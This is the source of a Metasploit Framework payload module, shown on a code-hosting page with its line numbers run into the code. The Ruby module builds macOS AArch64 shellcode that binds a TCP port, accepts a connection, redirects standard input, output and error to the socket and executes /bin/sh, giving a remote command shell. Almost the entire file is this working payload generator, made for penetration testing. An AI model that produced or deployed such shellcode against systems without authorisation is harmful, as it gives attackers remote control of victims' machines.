Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/osx/aarch64/shell_bind_tcp.rb
Views: 11780
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 23678include Msf::Payload::Single9include Msf::Payload::Osx10include Msf::Sessions::CommandShellOptions1112def initialize(info = {})13super(14merge_info(15info,16'Name' => 'OS X x64 Shell Bind TCP',17'Description' => 'Bind an arbitrary command to an arbitrary port',18'Author' => [ 'alanfoster' ],19'License' => MSF_LICENSE,20'Platform' => 'osx',21'Arch' => ARCH_AARCH64,22'Handler' => Msf::Handler::BindTcp,23'Session' => Msf::Sessions::CommandShellUnix24)25)2627# exec payload options28register_options(29[30OptString.new('CMD', [ true, 'The command string to execute', '/bin/sh' ]),31Opt::LPORT(4444)32]33)34end3536def generate(_opts = {})37# Split the cmd string into arg chunks38cmd_str = datastore['CMD']39cmd_and_args = Shellwords.shellsplit(cmd_str).map { |s| "#{s}\x00" }4041cmd = cmd_and_args[0]42args = cmd_and_args[1..]4344# Don't smash the real sp register, re-create our own on the x9 scratch register45stack_register = :x946cmd_string_in_x0 = create_aarch64_string_in_stack(47cmd,48registers: {49destination: :x0,50stack: stack_register51}52)5354lport = datastore['LPORT'].to_i55lhost = datastore['LHOST']5657lport_hex = [lport].pack('v').bytes.map { |b| b.to_s(16).rjust(2, '0') }.join58lhost_hex = [IPAddr.new(lhost, Socket::AF_INET).to_i].pack('L<').bytes.map { |b| b.to_s(16).rjust(2, '0') }5960result = <<~EOF61// socket(AF_INET, SOCK_STREAM, IPPROTO_IP)62// socket:63mov x0, 0x2 // x0 = AF_INET64mov x1, 0x1 // x1 = SOCK_STREAM65mov x2, 0 // x2 = IPPROTO_IP66movz x16, #0x0200, lsl #16 // x16 = SYS_SOCKET 0x200006167movk x16, #0x006168svc 0 // system call6970// Socket file descriptor will be in x0; Additionally the store socket file descriptor in x1371mov x13, x07273// int bind(int socket, const struct sockaddr *address, socklen_t address_len);74// bind:75// mov x0, x13 // x0 = socketfd, already set from previous socket result - additionally stored in x1676lsl x1, x1, #1 // x1 = struct socaddr_in; sin_family=AF_INET77movk x1, #0x#{lport_hex}, lsl #16 // sin_port = htons(#{lport})78movk x1, #0x#{lhost_hex[2..3].join}, lsl #32 // sin_addr = inet_aton(ip, &addr.sin_addr)79movk x1, #0x#{lhost_hex[0..1].join}, lsl #4880str x1, [sp, #-8]!81mov x1, sp // XXX: Should be: add x1, sp, x2, but assembler does not support it82add x1, x1, x2 // XXX: Should be: add x1, sp, x2, but assembler does not support it83mov x2, 16 // x2 = sizeof(struct sockaddr) = 1684movz x16, #0x0200, lsl #16 // x16 = SYS_BIND 0x200006885movk x16, #0x006886svc 08788// int listen(int socket, int backlog);89// listen:90mov x0, x13 // x0 = socketfd, initially stored in x1391movz x1, #0 // x1 = backlog = 092movz x16, #0x0200, lsl #16 // x16 = SYS_LISTEN 0x200006a93movk x16, #0x006a94svc 09596// int accept(int socket, struct sockaddr *restrict address, socklen_t *restrict address_len);97// accept:98mov x0, x13 // x0 = socketfd, initially stored in x1399mov x1, #0 // x1 = restrict address = NULL100mov x2, #0 // x2 = address_len = 0101movz x16, #0x0200, lsl #16 // x16 = SYS_LISTEN 0x200001e102movk x16, #0x001e103svc 0104105// Accepted socket file descriptor will be in x0; Additionally the store socket file descriptor in x13106mov x13, x0107108// int dup2(int filedes=socketfd, int newfd=STDIN/STDOUT/STD)109// dup2_calls:110movz x16, #0x0200, lsl #16 // x16 = SYS_DUP2 0x200005a111movk x16, #0x005a112mov x0, x13 // x0 = socket113movz x1, 0 // x1 = STDIN114svc 0 // system call115mov x0, x13 // x0 = socket116movz x1, 1 // x1 = STDOUT117svc 0 // system call118mov x0, x13 // x0 = socket119movz x1, 2 // x1 = STDERR120svc 0 // system call121// int execve(const char *path, char *const argv[], char *const envp[]);122// exec_call:123// Set system call SYS_EXECVE 0x200003b in x16124movz x16, #0x0200, lsl #16125movk x16, #0x003b126mov #{stack_register}, sp // Temporarily move SP into scratch register127// Arg 0: execve - const char *path - Pointer to the program name to run128#{cmd_string_in_x0}129// Push execve arguments, using x1 as a temporary register130#{args.each_with_index.map do |value, index|131"// Push argument #{index}\n" +132create_aarch64_string_in_stack(value, registers: { destination: :x1, stack: stack_register })133end.join("\n")134}135// Arg 1: execve - char *const argv[] - program arguments136#{cmd_and_args.each_with_index.map do |value, index|137bytes_to_base_of_string = cmd_and_args[index..].sum { |string| align(string.bytesize) } + (index * 8)138[139"// argv[#{index}] = create pointer to base of string value #{value.inspect}",140"mov x1, #{stack_register}",141"sub x1, x1, ##{bytes_to_base_of_string} // Update the target register to point to base of the string",142"str x1, [#{stack_register}], #8 // Store the pointer in the stack"143].join("\n") + "\n"144end.join("\n")}145// argv[#{cmd_and_args.length}] = NULL146str xzr, [#{stack_register}], #8147// Set execve arg1 to the base of the argv array of pointers148mov x1, #{stack_register}149sub x1, x1, ##{(cmd_and_args.length + 1) * 8}150// Arg 2: execve - char *const envp[] - Environment variables, NULL for now151mov x2, xzr152// System call153svc #0154EOF155156compile_aarch64(result)157end158159def create_aarch64_string_in_stack(string, registers: {})160target = registers.fetch(:destination, :x0)161stack = registers.fetch(:stack, :x9)162163# Instructions for pushing the bytes of the string 8 characters at a time164push_string = string.bytes165.each_slice(8)166.each_with_index167.flat_map do |eight_byte_chunk, _chunk_index|168mov_instructions = eight_byte_chunk169.each_slice(2)170.each_with_index171.map do |two_byte_chunk, index|172two_byte_chunk = two_byte_chunk.reverse173two_byte_chunk_hex = two_byte_chunk.map { |b| b.to_s(16).rjust(2, '0') }.join174two_byte_chunk_chr = two_byte_chunk.map(&:chr).join175"mov#{index == 0 ? 'z' : 'k'} #{target}, #0x#{two_byte_chunk_hex}#{index == 0 ? '' : ", lsl ##{index * 16}"} // #{two_byte_chunk_chr.inspect}"176end177[178"// Next 8 bytes of string: #{eight_byte_chunk.map(&:chr).join.inspect}",179*mov_instructions,180"str #{target}, [#{stack}], #8 // Store #{target} on #{stack}-stack and increment by 8"181]182end183push_string = push_string.join("\n") + "\n"184185set_target_register_to_base_of_string = <<~EOF186mov #{target}, #{stack} // Store the current stack location in the target register187sub #{target}, #{target}, ##{align(string.bytesize)} // Update the target register to point to base of the string188EOF189190result = <<~EOF191#{push_string}192#{set_target_register_to_base_of_string}193EOF194195result196end197198def align(value, alignment: 8)199return value if value % alignment == 0200201value + (alignment - (value % alignment))202end203204def compile_aarch64(asm_string)205require 'aarch64/parser'206parser = ::AArch64::Parser.new207asm = parser.parse without_inline_comments(asm_string)208209asm.to_binary210end211212# Remove any human readable comments that have been inlined213def without_inline_comments(string)214comment_delimiter = '//'215result = string.lines(chomp: true).map do |line|216instruction, _comment = line.split(comment_delimiter, 2)217next if instruction.blank?218219instruction220end.compact221result.join("\n") + "\n"222end223end224225226